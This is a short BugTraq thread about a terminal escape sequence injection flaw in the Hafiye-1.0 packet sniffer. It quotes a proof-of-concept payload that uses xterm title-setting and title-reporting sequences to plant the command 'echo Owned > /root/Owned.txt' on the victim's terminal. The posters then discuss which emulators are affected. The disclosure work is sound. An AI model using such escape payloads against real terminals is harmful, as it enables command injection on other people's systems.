|
|
BugTraq
Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability Aug 23 2004 06:32PM Serkan Akpolat (sakpolat gmx net) (2 replies) Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability Aug 24 2004 03:54PM Rodrigo Barbosa (rodrigob suespammers org) (1 replies) Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability Aug 24 2004 05:24PM Serkan Akpolat (sakpolat gmx net) Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability Aug 24 2004 02:33AM Jan Minar (jjminar fastmail fm) (1 replies) |
|
Privacy Statement |
> On Mon, Aug 23, 2004 at 09:32:15PM +0300, Serkan Akpolat wrote:
>
>>If Hafiye has been started with -n packet count option ,
>>the vulnerability could allow remote code execution.
>>For remote code execution the victim must press Enter after program exit.
>
>
>> "\x1b""]2;Insecure?""\x07\x0a",
>> "\x07\x07\x07\x07\x07\x07",
>> "\x1b""]2;;echo Owned > /root/Owned.txt"
>> "\x07\x1b""[21t""\x1b""]2;xterm""\x07"
>> "Abnormal Termination""\x1b"
>> "[8m;""\x0a"};
>
>
> That is, with broken terminals/emulators, such as is rxvt in Debian
> Woody (at the time of my writing this). These devices/programs should
> have been fixed long time ago in the first place. (Not that (albeit
> crippled) echo-back escape sequences were a good idea anyway.)
>
> Jan.
>
>
True. My test environment was default slack 9.1 and fbsd 4.7 with xterm.
Echo-back esc-sequence seems to be fixed in the current xterm.
[ reply ]